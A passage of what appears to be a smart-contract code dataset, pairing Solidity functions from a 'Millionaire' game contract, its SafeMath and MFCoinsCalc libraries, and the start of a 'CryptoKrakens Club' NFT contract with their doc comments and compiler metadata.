emit onSellMFCoins(msg.sender, earnAmount, _coins, now);
}
/**
* @dev anyone winner of milfold will call this function
* @param _addr winner address
*/
function assign(address _addr)
external
payable
{
require(msg.sender == address(milFold_), "no authrity");
plyr_[_addr].eth = plyr_[_addr].eth.add(msg.value);
}
/**
* @dev If unfortunate the game has problem or has no winner at long time, we'll end the game and divide the pot equally among all MF users
*/
function splitPot()
external
payable
{
require(milAuth_.checkGameClosed(msg.sender), "game has not been closed");
uint256 delta = msg.value.mul(1 ether).div(totalSupply_);
globalMask_ = globalMask_.add(delta);
emit onGameClose(msg.sender, msg.value, now);
}
/**
* @dev returns ico info
* @return ico end time
* @return already ico summary
* @return ico phase is end
*/
function getIcoInfo()
public
view
returns(uint256, uint256, bool) {
return (icoAmount_, icoEndtime_, icoEnd_);
}
/**
* @dev returns player info based on address
* @param _addr address of the player you want to lookup
* @return player ID
* @return player eth balance
* @return player MFCoin
* @return general vault
* @return affiliate vault
*/
function getPlayerAccount(address _addr)
public
isActivated()
view
returns(uint256, uint256, uint256, uint256, uint256)
{
uint256 genAmount = calcUnMaskedEarnings(_addr);
return (
plyr_[_addr].playerID,
plyr_[_addr].eth.add(genAmount),
balance_[_addr],
plyr_[_addr].genTotal.add(genAmount),
plyr_[_addr].affTotal
);
}
/**
* @dev give _eth can convert how much MFCoin
* @param _eth eth i will give
* @return MFCoin will return back
*/
function calcCoinsReceived(uint256 _eth)
public
view
returns(uint256)
{
return mfCoinPool_.keysRec(_eth);
}
/**
* @dev returns current eth price for X coins.
* @param _coins number of coins desired (in 18 decimal format)
* @return amount of eth needed to send
*/
function calcEthReceived(uint256 _coins)
public
view
returns(uint256)
{
if (totalSupply_ < _coins) {
return 0;
}
return totalSupply_.ethRec(_coins);
}
function getMFBalance(address _addr)
public
view
returns(uint256) {
return balance_[_addr];
}
} | calcEthReceived | function calcEthReceived(uint256 _coins)
public
view
returns(uint256)
{
if (totalSupply_ < _coins) {
return 0;
}
return totalSupply_.ethRec(_coins);
}
| /**
* @dev returns current eth price for X coins.
* @param _coins number of coins desired (in 18 decimal format)
* @return amount of eth needed to send
*/ | NatSpecMultiLine | v0.4.25+commit.59dbf8f1 | bzzr://19344f09337febac2ce136703d5a2e1deb14f3d31e0b173b4d29c86dd14c2bed | {
"func_code_index": [
17735,
17967
]
} | 6,966 |
|||
Millionaire | Millionaire.sol | 0x98bdbc858822415c626c13267594fbc205182a1f | Solidity | SafeMath | library SafeMath {
/**
* @dev Multiplies two numbers, throws on overflow.
*/
function mul(uint256 a, uint256 b)
internal
pure
returns (uint256 c)
{
if (a == 0) {
return 0;
}
c = a * b;
require(c / a == b, "SafeMath mul failed");
return c;
}
/**
* @dev Integer division of two numbers, truncating the quotient.
*/
function div(uint256 a, uint256 b) internal pure returns (uint256) {
// assert(b > 0); // Solidity automatically throws when dividing by 0
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
/**
* @dev Subtracts two numbers, throws on overflow (i.e. if subtrahend is greater than minuend).
*/
function sub(uint256 a, uint256 b)
internal
pure
returns (uint256)
{
require(b <= a, "SafeMath sub failed");
return a - b;
}
/**
* @dev Adds two numbers, throws on overflow.
*/
function add(uint256 a, uint256 b)
internal
pure
returns (uint256 c)
{
c = a + b;
require(c >= a, "SafeMath add failed");
return c;
}
/**
* @dev gives square root of given x.
*/
function sqrt(uint256 x)
internal
pure
returns (uint256 y)
{
uint256 z = ((add(x,1)) / 2);
y = x;
while (z < y)
{
y = z;
z = ((add((x / z),z)) / 2);
}
}
/**
* @dev gives square. multiplies x by x
*/
function sq(uint256 x)
internal
pure
returns (uint256)
{
return (mul(x,x));
}
/**
* @dev x to the power of y
*/
function pwr(uint256 x, uint256 y)
internal
pure
returns (uint256)
{
if (x==0)
return (0);
else if (y==0)
return (1);
else
{
uint256 z = x;
for (uint256 i=1; i < y; i++)
z = mul(z,x);
return (z);
}
}
function min(uint x, uint y) internal pure returns (uint z) {
return x <= y ? x : y;
}
function max(uint x, uint y) internal pure returns (uint z) {
return x >= y ? x : y;
}
} | /**
* @title SafeMath v0.1.9
* @dev Math operations with safety checks that throw on error
* change notes: original SafeMath library from OpenZeppelin modified by Inventor
* - added sqrt
* - added sq
* - added pwr
* - changed asserts to requires with error log outputs
* - removed div, its useless
*/ | NatSpecMultiLine | mul | function mul(uint256 a, uint256 b)
internal
pure
returns (uint256 c)
{
if (a == 0) {
return 0;
}
c = a * b;
require(c / a == b, "SafeMath mul failed");
return c;
}
| /**
* @dev Multiplies two numbers, throws on overflow.
*/ | NatSpecMultiLine | v0.4.25+commit.59dbf8f1 | bzzr://19344f09337febac2ce136703d5a2e1deb14f3d31e0b173b4d29c86dd14c2bed | {
"func_code_index": [
95,
358
]
} | 6,967 |
|
Millionaire | Millionaire.sol | 0x98bdbc858822415c626c13267594fbc205182a1f | Solidity | SafeMath | library SafeMath {
/**
* @dev Multiplies two numbers, throws on overflow.
*/
function mul(uint256 a, uint256 b)
internal
pure
returns (uint256 c)
{
if (a == 0) {
return 0;
}
c = a * b;
require(c / a == b, "SafeMath mul failed");
return c;
}
/**
* @dev Integer division of two numbers, truncating the quotient.
*/
function div(uint256 a, uint256 b) internal pure returns (uint256) {
// assert(b > 0); // Solidity automatically throws when dividing by 0
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
/**
* @dev Subtracts two numbers, throws on overflow (i.e. if subtrahend is greater than minuend).
*/
function sub(uint256 a, uint256 b)
internal
pure
returns (uint256)
{
require(b <= a, "SafeMath sub failed");
return a - b;
}
/**
* @dev Adds two numbers, throws on overflow.
*/
function add(uint256 a, uint256 b)
internal
pure
returns (uint256 c)
{
c = a + b;
require(c >= a, "SafeMath add failed");
return c;
}
/**
* @dev gives square root of given x.
*/
function sqrt(uint256 x)
internal
pure
returns (uint256 y)
{
uint256 z = ((add(x,1)) / 2);
y = x;
while (z < y)
{
y = z;
z = ((add((x / z),z)) / 2);
}
}
/**
* @dev gives square. multiplies x by x
*/
function sq(uint256 x)
internal
pure
returns (uint256)
{
return (mul(x,x));
}
/**
* @dev x to the power of y
*/
function pwr(uint256 x, uint256 y)
internal
pure
returns (uint256)
{
if (x==0)
return (0);
else if (y==0)
return (1);
else
{
uint256 z = x;
for (uint256 i=1; i < y; i++)
z = mul(z,x);
return (z);
}
}
function min(uint x, uint y) internal pure returns (uint z) {
return x <= y ? x : y;
}
function max(uint x, uint y) internal pure returns (uint z) {
return x >= y ? x : y;
}
} | /**
* @title SafeMath v0.1.9
* @dev Math operations with safety checks that throw on error
* change notes: original SafeMath library from OpenZeppelin modified by Inventor
* - added sqrt
* - added sq
* - added pwr
* - changed asserts to requires with error log outputs
* - removed div, its useless
*/ | NatSpecMultiLine | div | function div(uint256 a, uint256 b) internal pure returns (uint256) {
// assert(b > 0); // Solidity automatically throws when dividing by 0
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
| /**
* @dev Integer division of two numbers, truncating the quotient.
*/ | NatSpecMultiLine | v0.4.25+commit.59dbf8f1 | bzzr://19344f09337febac2ce136703d5a2e1deb14f3d31e0b173b4d29c86dd14c2bed | {
"func_code_index": [
448,
741
]
} | 6,968 |
|
Millionaire | Millionaire.sol | 0x98bdbc858822415c626c13267594fbc205182a1f | Solidity | SafeMath | library SafeMath {
/**
* @dev Multiplies two numbers, throws on overflow.
*/
function mul(uint256 a, uint256 b)
internal
pure
returns (uint256 c)
{
if (a == 0) {
return 0;
}
c = a * b;
require(c / a == b, "SafeMath mul failed");
return c;
}
/**
* @dev Integer division of two numbers, truncating the quotient.
*/
function div(uint256 a, uint256 b) internal pure returns (uint256) {
// assert(b > 0); // Solidity automatically throws when dividing by 0
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
/**
* @dev Subtracts two numbers, throws on overflow (i.e. if subtrahend is greater than minuend).
*/
function sub(uint256 a, uint256 b)
internal
pure
returns (uint256)
{
require(b <= a, "SafeMath sub failed");
return a - b;
}
/**
* @dev Adds two numbers, throws on overflow.
*/
function add(uint256 a, uint256 b)
internal
pure
returns (uint256 c)
{
c = a + b;
require(c >= a, "SafeMath add failed");
return c;
}
/**
* @dev gives square root of given x.
*/
function sqrt(uint256 x)
internal
pure
returns (uint256 y)
{
uint256 z = ((add(x,1)) / 2);
y = x;
while (z < y)
{
y = z;
z = ((add((x / z),z)) / 2);
}
}
/**
* @dev gives square. multiplies x by x
*/
function sq(uint256 x)
internal
pure
returns (uint256)
{
return (mul(x,x));
}
/**
* @dev x to the power of y
*/
function pwr(uint256 x, uint256 y)
internal
pure
returns (uint256)
{
if (x==0)
return (0);
else if (y==0)
return (1);
else
{
uint256 z = x;
for (uint256 i=1; i < y; i++)
z = mul(z,x);
return (z);
}
}
function min(uint x, uint y) internal pure returns (uint z) {
return x <= y ? x : y;
}
function max(uint x, uint y) internal pure returns (uint z) {
return x >= y ? x : y;
}
} | /**
* @title SafeMath v0.1.9
* @dev Math operations with safety checks that throw on error
* change notes: original SafeMath library from OpenZeppelin modified by Inventor
* - added sqrt
* - added sq
* - added pwr
* - changed asserts to requires with error log outputs
* - removed div, its useless
*/ | NatSpecMultiLine | sub | function sub(uint256 a, uint256 b)
internal
pure
returns (uint256)
{
require(b <= a, "SafeMath sub failed");
return a - b;
}
| /**
* @dev Subtracts two numbers, throws on overflow (i.e. if subtrahend is greater than minuend).
*/ | NatSpecMultiLine | v0.4.25+commit.59dbf8f1 | bzzr://19344f09337febac2ce136703d5a2e1deb14f3d31e0b173b4d29c86dd14c2bed | {
"func_code_index": [
861,
1045
]
} | 6,969 |
|
Millionaire | Millionaire.sol | 0x98bdbc858822415c626c13267594fbc205182a1f | Solidity | SafeMath | library SafeMath {
/**
* @dev Multiplies two numbers, throws on overflow.
*/
function mul(uint256 a, uint256 b)
internal
pure
returns (uint256 c)
{
if (a == 0) {
return 0;
}
c = a * b;
require(c / a == b, "SafeMath mul failed");
return c;
}
/**
* @dev Integer division of two numbers, truncating the quotient.
*/
function div(uint256 a, uint256 b) internal pure returns (uint256) {
// assert(b > 0); // Solidity automatically throws when dividing by 0
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
/**
* @dev Subtracts two numbers, throws on overflow (i.e. if subtrahend is greater than minuend).
*/
function sub(uint256 a, uint256 b)
internal
pure
returns (uint256)
{
require(b <= a, "SafeMath sub failed");
return a - b;
}
/**
* @dev Adds two numbers, throws on overflow.
*/
function add(uint256 a, uint256 b)
internal
pure
returns (uint256 c)
{
c = a + b;
require(c >= a, "SafeMath add failed");
return c;
}
/**
* @dev gives square root of given x.
*/
function sqrt(uint256 x)
internal
pure
returns (uint256 y)
{
uint256 z = ((add(x,1)) / 2);
y = x;
while (z < y)
{
y = z;
z = ((add((x / z),z)) / 2);
}
}
/**
* @dev gives square. multiplies x by x
*/
function sq(uint256 x)
internal
pure
returns (uint256)
{
return (mul(x,x));
}
/**
* @dev x to the power of y
*/
function pwr(uint256 x, uint256 y)
internal
pure
returns (uint256)
{
if (x==0)
return (0);
else if (y==0)
return (1);
else
{
uint256 z = x;
for (uint256 i=1; i < y; i++)
z = mul(z,x);
return (z);
}
}
function min(uint x, uint y) internal pure returns (uint z) {
return x <= y ? x : y;
}
function max(uint x, uint y) internal pure returns (uint z) {
return x >= y ? x : y;
}
} | /**
* @title SafeMath v0.1.9
* @dev Math operations with safety checks that throw on error
* change notes: original SafeMath library from OpenZeppelin modified by Inventor
* - added sqrt
* - added sq
* - added pwr
* - changed asserts to requires with error log outputs
* - removed div, its useless
*/ | NatSpecMultiLine | add | function add(uint256 a, uint256 b)
internal
pure
returns (uint256 c)
{
c = a + b;
require(c >= a, "SafeMath add failed");
return c;
}
| /**
* @dev Adds two numbers, throws on overflow.
*/ | NatSpecMultiLine | v0.4.25+commit.59dbf8f1 | bzzr://19344f09337febac2ce136703d5a2e1deb14f3d31e0b173b4d29c86dd14c2bed | {
"func_code_index": [
1115,
1317
]
} | 6,970 |
|
Millionaire | Millionaire.sol | 0x98bdbc858822415c626c13267594fbc205182a1f | Solidity | SafeMath | library SafeMath {
/**
* @dev Multiplies two numbers, throws on overflow.
*/
function mul(uint256 a, uint256 b)
internal
pure
returns (uint256 c)
{
if (a == 0) {
return 0;
}
c = a * b;
require(c / a == b, "SafeMath mul failed");
return c;
}
/**
* @dev Integer division of two numbers, truncating the quotient.
*/
function div(uint256 a, uint256 b) internal pure returns (uint256) {
// assert(b > 0); // Solidity automatically throws when dividing by 0
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
/**
* @dev Subtracts two numbers, throws on overflow (i.e. if subtrahend is greater than minuend).
*/
function sub(uint256 a, uint256 b)
internal
pure
returns (uint256)
{
require(b <= a, "SafeMath sub failed");
return a - b;
}
/**
* @dev Adds two numbers, throws on overflow.
*/
function add(uint256 a, uint256 b)
internal
pure
returns (uint256 c)
{
c = a + b;
require(c >= a, "SafeMath add failed");
return c;
}
/**
* @dev gives square root of given x.
*/
function sqrt(uint256 x)
internal
pure
returns (uint256 y)
{
uint256 z = ((add(x,1)) / 2);
y = x;
while (z < y)
{
y = z;
z = ((add((x / z),z)) / 2);
}
}
/**
* @dev gives square. multiplies x by x
*/
function sq(uint256 x)
internal
pure
returns (uint256)
{
return (mul(x,x));
}
/**
* @dev x to the power of y
*/
function pwr(uint256 x, uint256 y)
internal
pure
returns (uint256)
{
if (x==0)
return (0);
else if (y==0)
return (1);
else
{
uint256 z = x;
for (uint256 i=1; i < y; i++)
z = mul(z,x);
return (z);
}
}
function min(uint x, uint y) internal pure returns (uint z) {
return x <= y ? x : y;
}
function max(uint x, uint y) internal pure returns (uint z) {
return x >= y ? x : y;
}
} | /**
* @title SafeMath v0.1.9
* @dev Math operations with safety checks that throw on error
* change notes: original SafeMath library from OpenZeppelin modified by Inventor
* - added sqrt
* - added sq
* - added pwr
* - changed asserts to requires with error log outputs
* - removed div, its useless
*/ | NatSpecMultiLine | sqrt | function sqrt(uint256 x)
internal
pure
returns (uint256 y)
{
uint256 z = ((add(x,1)) / 2);
y = x;
while (z < y)
{
y = z;
z = ((add((x / z),z)) / 2);
}
}
| /**
* @dev gives square root of given x.
*/ | NatSpecMultiLine | v0.4.25+commit.59dbf8f1 | bzzr://19344f09337febac2ce136703d5a2e1deb14f3d31e0b173b4d29c86dd14c2bed | {
"func_code_index": [
1381,
1646
]
} | 6,971 |
|
Millionaire | Millionaire.sol | 0x98bdbc858822415c626c13267594fbc205182a1f | Solidity | SafeMath | library SafeMath {
/**
* @dev Multiplies two numbers, throws on overflow.
*/
function mul(uint256 a, uint256 b)
internal
pure
returns (uint256 c)
{
if (a == 0) {
return 0;
}
c = a * b;
require(c / a == b, "SafeMath mul failed");
return c;
}
/**
* @dev Integer division of two numbers, truncating the quotient.
*/
function div(uint256 a, uint256 b) internal pure returns (uint256) {
// assert(b > 0); // Solidity automatically throws when dividing by 0
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
/**
* @dev Subtracts two numbers, throws on overflow (i.e. if subtrahend is greater than minuend).
*/
function sub(uint256 a, uint256 b)
internal
pure
returns (uint256)
{
require(b <= a, "SafeMath sub failed");
return a - b;
}
/**
* @dev Adds two numbers, throws on overflow.
*/
function add(uint256 a, uint256 b)
internal
pure
returns (uint256 c)
{
c = a + b;
require(c >= a, "SafeMath add failed");
return c;
}
/**
* @dev gives square root of given x.
*/
function sqrt(uint256 x)
internal
pure
returns (uint256 y)
{
uint256 z = ((add(x,1)) / 2);
y = x;
while (z < y)
{
y = z;
z = ((add((x / z),z)) / 2);
}
}
/**
* @dev gives square. multiplies x by x
*/
function sq(uint256 x)
internal
pure
returns (uint256)
{
return (mul(x,x));
}
/**
* @dev x to the power of y
*/
function pwr(uint256 x, uint256 y)
internal
pure
returns (uint256)
{
if (x==0)
return (0);
else if (y==0)
return (1);
else
{
uint256 z = x;
for (uint256 i=1; i < y; i++)
z = mul(z,x);
return (z);
}
}
function min(uint x, uint y) internal pure returns (uint z) {
return x <= y ? x : y;
}
function max(uint x, uint y) internal pure returns (uint z) {
return x >= y ? x : y;
}
} | /**
* @title SafeMath v0.1.9
* @dev Math operations with safety checks that throw on error
* change notes: original SafeMath library from OpenZeppelin modified by Inventor
* - added sqrt
* - added sq
* - added pwr
* - changed asserts to requires with error log outputs
* - removed div, its useless
*/ | NatSpecMultiLine | sq | function sq(uint256 x)
internal
pure
returns (uint256)
{
return (mul(x,x));
}
| /**
* @dev gives square. multiplies x by x
*/ | NatSpecMultiLine | v0.4.25+commit.59dbf8f1 | bzzr://19344f09337febac2ce136703d5a2e1deb14f3d31e0b173b4d29c86dd14c2bed | {
"func_code_index": [
1712,
1840
]
} | 6,972 |
|
Millionaire | Millionaire.sol | 0x98bdbc858822415c626c13267594fbc205182a1f | Solidity | SafeMath | library SafeMath {
/**
* @dev Multiplies two numbers, throws on overflow.
*/
function mul(uint256 a, uint256 b)
internal
pure
returns (uint256 c)
{
if (a == 0) {
return 0;
}
c = a * b;
require(c / a == b, "SafeMath mul failed");
return c;
}
/**
* @dev Integer division of two numbers, truncating the quotient.
*/
function div(uint256 a, uint256 b) internal pure returns (uint256) {
// assert(b > 0); // Solidity automatically throws when dividing by 0
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
/**
* @dev Subtracts two numbers, throws on overflow (i.e. if subtrahend is greater than minuend).
*/
function sub(uint256 a, uint256 b)
internal
pure
returns (uint256)
{
require(b <= a, "SafeMath sub failed");
return a - b;
}
/**
* @dev Adds two numbers, throws on overflow.
*/
function add(uint256 a, uint256 b)
internal
pure
returns (uint256 c)
{
c = a + b;
require(c >= a, "SafeMath add failed");
return c;
}
/**
* @dev gives square root of given x.
*/
function sqrt(uint256 x)
internal
pure
returns (uint256 y)
{
uint256 z = ((add(x,1)) / 2);
y = x;
while (z < y)
{
y = z;
z = ((add((x / z),z)) / 2);
}
}
/**
* @dev gives square. multiplies x by x
*/
function sq(uint256 x)
internal
pure
returns (uint256)
{
return (mul(x,x));
}
/**
* @dev x to the power of y
*/
function pwr(uint256 x, uint256 y)
internal
pure
returns (uint256)
{
if (x==0)
return (0);
else if (y==0)
return (1);
else
{
uint256 z = x;
for (uint256 i=1; i < y; i++)
z = mul(z,x);
return (z);
}
}
function min(uint x, uint y) internal pure returns (uint z) {
return x <= y ? x : y;
}
function max(uint x, uint y) internal pure returns (uint z) {
return x >= y ? x : y;
}
} | /**
* @title SafeMath v0.1.9
* @dev Math operations with safety checks that throw on error
* change notes: original SafeMath library from OpenZeppelin modified by Inventor
* - added sqrt
* - added sq
* - added pwr
* - changed asserts to requires with error log outputs
* - removed div, its useless
*/ | NatSpecMultiLine | pwr | function pwr(uint256 x, uint256 y)
internal
pure
returns (uint256)
{
if (x==0)
return (0);
else if (y==0)
return (1);
else
{
uint256 z = x;
for (uint256 i=1; i < y; i++)
z = mul(z,x);
return (z);
}
}
| /**
* @dev x to the power of y
*/ | NatSpecMultiLine | v0.4.25+commit.59dbf8f1 | bzzr://19344f09337febac2ce136703d5a2e1deb14f3d31e0b173b4d29c86dd14c2bed | {
"func_code_index": [
1894,
2262
]
} | 6,973 |
|
Millionaire | Millionaire.sol | 0x98bdbc858822415c626c13267594fbc205182a1f | Solidity | MFCoinsCalc | library MFCoinsCalc {
using SafeMath for *;
/**
* @dev calculates number of keys received given X eth
* @param _curEth current amount of eth in contract
* @param _newEth eth being spent
* @return amount of ticket purchased
*/
function keysRec(uint256 _curEth, uint256 _newEth)
internal
pure
returns (uint256)
{
return(keys((_curEth).add(_newEth)).sub(keys(_curEth)));
}
/**
* @dev calculates amount of eth received if you sold X keys
* @param _curKeys current amount of keys that exist
* @param _sellKeys amount of keys you wish to sell
* @return amount of eth received
*/
function ethRec(uint256 _curKeys, uint256 _sellKeys)
internal
pure
returns (uint256)
{
return((eth(_curKeys)).sub(eth(_curKeys.sub(_sellKeys))));
}
/**
* @dev calculates how many keys would exist with given an amount of eth
* @param _eth eth "in contract"
* @return number of keys that would exist
*/
function keys(uint256 _eth)
internal
pure
returns(uint256)
{
return (((((_eth).mul(1000000000000000000).mul(2000000000000000000000000000)).add(39999800000250000000000000000000000000000000000000000000000000000)).sqrt()).sub(199999500000000000000000000000000)) / (1000000000);
}
/**
* @dev calculates how much eth would be in contract given a number of keys
* @param _keys number of keys "in contract"
* @return eth that would exists
*/
function eth(uint256 _keys)
internal
pure
returns(uint256)
{
return ((500000000).mul(_keys.sq()).add(((399999000000000).mul(_keys.mul(1000000000000000000))) / (2) )) / ((1000000000000000000).sq());
}
} | //==============================================================================
// | _ _ _ | _ .
// |<(/_\/ (_(_||(_ .
//=======/====================================================================== | LineComment | keysRec | function keysRec(uint256 _curEth, uint256 _newEth)
internal
pure
returns (uint256)
{
return(keys((_curEth).add(_newEth)).sub(keys(_curEth)));
}
| /**
* @dev calculates number of keys received given X eth
* @param _curEth current amount of eth in contract
* @param _newEth eth being spent
* @return amount of ticket purchased
*/ | NatSpecMultiLine | v0.4.25+commit.59dbf8f1 | bzzr://19344f09337febac2ce136703d5a2e1deb14f3d31e0b173b4d29c86dd14c2bed | {
"func_code_index": [
267,
461
]
} | 6,974 |
|
Millionaire | Millionaire.sol | 0x98bdbc858822415c626c13267594fbc205182a1f | Solidity | MFCoinsCalc | library MFCoinsCalc {
using SafeMath for *;
/**
* @dev calculates number of keys received given X eth
* @param _curEth current amount of eth in contract
* @param _newEth eth being spent
* @return amount of ticket purchased
*/
function keysRec(uint256 _curEth, uint256 _newEth)
internal
pure
returns (uint256)
{
return(keys((_curEth).add(_newEth)).sub(keys(_curEth)));
}
/**
* @dev calculates amount of eth received if you sold X keys
* @param _curKeys current amount of keys that exist
* @param _sellKeys amount of keys you wish to sell
* @return amount of eth received
*/
function ethRec(uint256 _curKeys, uint256 _sellKeys)
internal
pure
returns (uint256)
{
return((eth(_curKeys)).sub(eth(_curKeys.sub(_sellKeys))));
}
/**
* @dev calculates how many keys would exist with given an amount of eth
* @param _eth eth "in contract"
* @return number of keys that would exist
*/
function keys(uint256 _eth)
internal
pure
returns(uint256)
{
return (((((_eth).mul(1000000000000000000).mul(2000000000000000000000000000)).add(39999800000250000000000000000000000000000000000000000000000000000)).sqrt()).sub(199999500000000000000000000000000)) / (1000000000);
}
/**
* @dev calculates how much eth would be in contract given a number of keys
* @param _keys number of keys "in contract"
* @return eth that would exists
*/
function eth(uint256 _keys)
internal
pure
returns(uint256)
{
return ((500000000).mul(_keys.sq()).add(((399999000000000).mul(_keys.mul(1000000000000000000))) / (2) )) / ((1000000000000000000).sq());
}
} | //==============================================================================
// | _ _ _ | _ .
// |<(/_\/ (_(_||(_ .
//=======/====================================================================== | LineComment | ethRec | function ethRec(uint256 _curKeys, uint256 _sellKeys)
internal
pure
returns (uint256)
{
return((eth(_curKeys)).sub(eth(_curKeys.sub(_sellKeys))));
}
| /**
* @dev calculates amount of eth received if you sold X keys
* @param _curKeys current amount of keys that exist
* @param _sellKeys amount of keys you wish to sell
* @return amount of eth received
*/ | NatSpecMultiLine | v0.4.25+commit.59dbf8f1 | bzzr://19344f09337febac2ce136703d5a2e1deb14f3d31e0b173b4d29c86dd14c2bed | {
"func_code_index": [
702,
900
]
} | 6,975 |
|
Millionaire | Millionaire.sol | 0x98bdbc858822415c626c13267594fbc205182a1f | Solidity | MFCoinsCalc | library MFCoinsCalc {
using SafeMath for *;
/**
* @dev calculates number of keys received given X eth
* @param _curEth current amount of eth in contract
* @param _newEth eth being spent
* @return amount of ticket purchased
*/
function keysRec(uint256 _curEth, uint256 _newEth)
internal
pure
returns (uint256)
{
return(keys((_curEth).add(_newEth)).sub(keys(_curEth)));
}
/**
* @dev calculates amount of eth received if you sold X keys
* @param _curKeys current amount of keys that exist
* @param _sellKeys amount of keys you wish to sell
* @return amount of eth received
*/
function ethRec(uint256 _curKeys, uint256 _sellKeys)
internal
pure
returns (uint256)
{
return((eth(_curKeys)).sub(eth(_curKeys.sub(_sellKeys))));
}
/**
* @dev calculates how many keys would exist with given an amount of eth
* @param _eth eth "in contract"
* @return number of keys that would exist
*/
function keys(uint256 _eth)
internal
pure
returns(uint256)
{
return (((((_eth).mul(1000000000000000000).mul(2000000000000000000000000000)).add(39999800000250000000000000000000000000000000000000000000000000000)).sqrt()).sub(199999500000000000000000000000000)) / (1000000000);
}
/**
* @dev calculates how much eth would be in contract given a number of keys
* @param _keys number of keys "in contract"
* @return eth that would exists
*/
function eth(uint256 _keys)
internal
pure
returns(uint256)
{
return ((500000000).mul(_keys.sq()).add(((399999000000000).mul(_keys.mul(1000000000000000000))) / (2) )) / ((1000000000000000000).sq());
}
} | //==============================================================================
// | _ _ _ | _ .
// |<(/_\/ (_(_||(_ .
//=======/====================================================================== | LineComment | keys | function keys(uint256 _eth)
internal
pure
returns(uint256)
{
return (((((_eth).mul(1000000000000000000).mul(2000000000000000000000000000)).add(39999800000250000000000000000000000000000000000000000000000000000)).sqrt()).sub(199999500000000000000000000000000)) / (1000000000);
}
| /**
* @dev calculates how many keys would exist with given an amount of eth
* @param _eth eth "in contract"
* @return number of keys that would exist
*/ | NatSpecMultiLine | v0.4.25+commit.59dbf8f1 | bzzr://19344f09337febac2ce136703d5a2e1deb14f3d31e0b173b4d29c86dd14c2bed | {
"func_code_index": [
1085,
1412
]
} | 6,976 |
|
Millionaire | Millionaire.sol | 0x98bdbc858822415c626c13267594fbc205182a1f | Solidity | MFCoinsCalc | library MFCoinsCalc {
using SafeMath for *;
/**
* @dev calculates number of keys received given X eth
* @param _curEth current amount of eth in contract
* @param _newEth eth being spent
* @return amount of ticket purchased
*/
function keysRec(uint256 _curEth, uint256 _newEth)
internal
pure
returns (uint256)
{
return(keys((_curEth).add(_newEth)).sub(keys(_curEth)));
}
/**
* @dev calculates amount of eth received if you sold X keys
* @param _curKeys current amount of keys that exist
* @param _sellKeys amount of keys you wish to sell
* @return amount of eth received
*/
function ethRec(uint256 _curKeys, uint256 _sellKeys)
internal
pure
returns (uint256)
{
return((eth(_curKeys)).sub(eth(_curKeys.sub(_sellKeys))));
}
/**
* @dev calculates how many keys would exist with given an amount of eth
* @param _eth eth "in contract"
* @return number of keys that would exist
*/
function keys(uint256 _eth)
internal
pure
returns(uint256)
{
return (((((_eth).mul(1000000000000000000).mul(2000000000000000000000000000)).add(39999800000250000000000000000000000000000000000000000000000000000)).sqrt()).sub(199999500000000000000000000000000)) / (1000000000);
}
/**
* @dev calculates how much eth would be in contract given a number of keys
* @param _keys number of keys "in contract"
* @return eth that would exists
*/
function eth(uint256 _keys)
internal
pure
returns(uint256)
{
return ((500000000).mul(_keys.sq()).add(((399999000000000).mul(_keys.mul(1000000000000000000))) / (2) )) / ((1000000000000000000).sq());
}
} | //==============================================================================
// | _ _ _ | _ .
// |<(/_\/ (_(_||(_ .
//=======/====================================================================== | LineComment | eth | function eth(uint256 _keys)
internal
pure
returns(uint256)
{
return ((500000000).mul(_keys.sq()).add(((399999000000000).mul(_keys.mul(1000000000000000000))) / (2) )) / ((1000000000000000000).sq());
}
| /**
* @dev calculates how much eth would be in contract given a number of keys
* @param _keys number of keys "in contract"
* @return eth that would exists
*/ | NatSpecMultiLine | v0.4.25+commit.59dbf8f1 | bzzr://19344f09337febac2ce136703d5a2e1deb14f3d31e0b173b4d29c86dd14c2bed | {
"func_code_index": [
1602,
1852
]
} | 6,977 |
|
CrytpoKrakensClub | contracts/LowGasKrakens.sol | 0xd5867d614c60ba10543187622ef0a60c72626cc3 | Solidity | CrytpoKrakensClub | contract CrytpoKrakensClub is ERC721, Ownable {
using Strings for uint256;
using Counters for Counters.Counter;
Counters.Counter private supply;
string public uriPrefix = "";
string public uriSuffix = ".json";
string public hiddenMetadataUri;
uint256 public cost = 0.066 ether;
uint256 public maxSupply = 10000;
uint256 public maxMintAmountPerTx = 10;
uint256 public nftPerAddressLimit = 10;
bool public paused = true;
bool public revealed = false;
bool public onlyWhitelisted = true;
mapping(address => bool) public whitelistedAddresses;
mapping(address => uint256) public addressMintedBalance;
constructor() ERC721("CryptoKrakens Club", "CKC") {
setHiddenMetadataUri("ipfs://QmVs6DzD5k2v4LbbLMxXNcc7gQRTzcoMuGiPN9gGVUPm5Y/hidden.json");
_mint(msg.sender, 9999);
_mint(msg.sender, 10000);
}
modifier mintCompliance(uint256 _mintAmount) {
require(_mintAmount > 0 && _mintAmount <= maxMintAmountPerTx, "Invalid mint amount!");
require(supply.current() + _mintAmount <= maxSupply, "Max supply exceeded!");
_;
}
function totalSupply() public view returns (uint256) {
return supply.current();
}
function mint(uint256 _mintAmount) public payable mintCompliance(_mintAmount) {
require(!paused, "The contract is paused!");
if (msg.sender != owner()) {
if (onlyWhitelisted == true){
require(whitelistedAddresses[msg.sender], "User is not whitelisted");
uint256 ownerMintedcount = addressMintedBalance[msg.sender];
require(ownerMintedcount + _mintAmount <= nftPerAddressLimit, "max NFT per address exceeded");
}
require(msg.value >= cost * _mintAmount, "Insufficient funds!");
}
_mintLoop(msg.sender, _mintAmount);
}
function mintForAddress(uint256 _mintAmount, address _receiver) public mintCompliance(_mintAmount) onlyOwner {
_mintLoop(_receiver, _mintAmount);
}
function walletOfOwner(address _owner)
public
view
returns (uint256[] memory)
{
uint256 ownerTokenCount = balanceOf(_owner);
uint256[] memory ownedTokenIds = new uint256[](ownerTokenCount);
uint256 currentTokenId = 1;
uint256 ownedTokenIndex = 0;
while (ownedTokenIndex < ownerTokenCount && currentTokenId <= maxSupply) {
address currentTokenOwner = ownerOf(currentTokenId);
if (currentTokenOwner == _owner) {
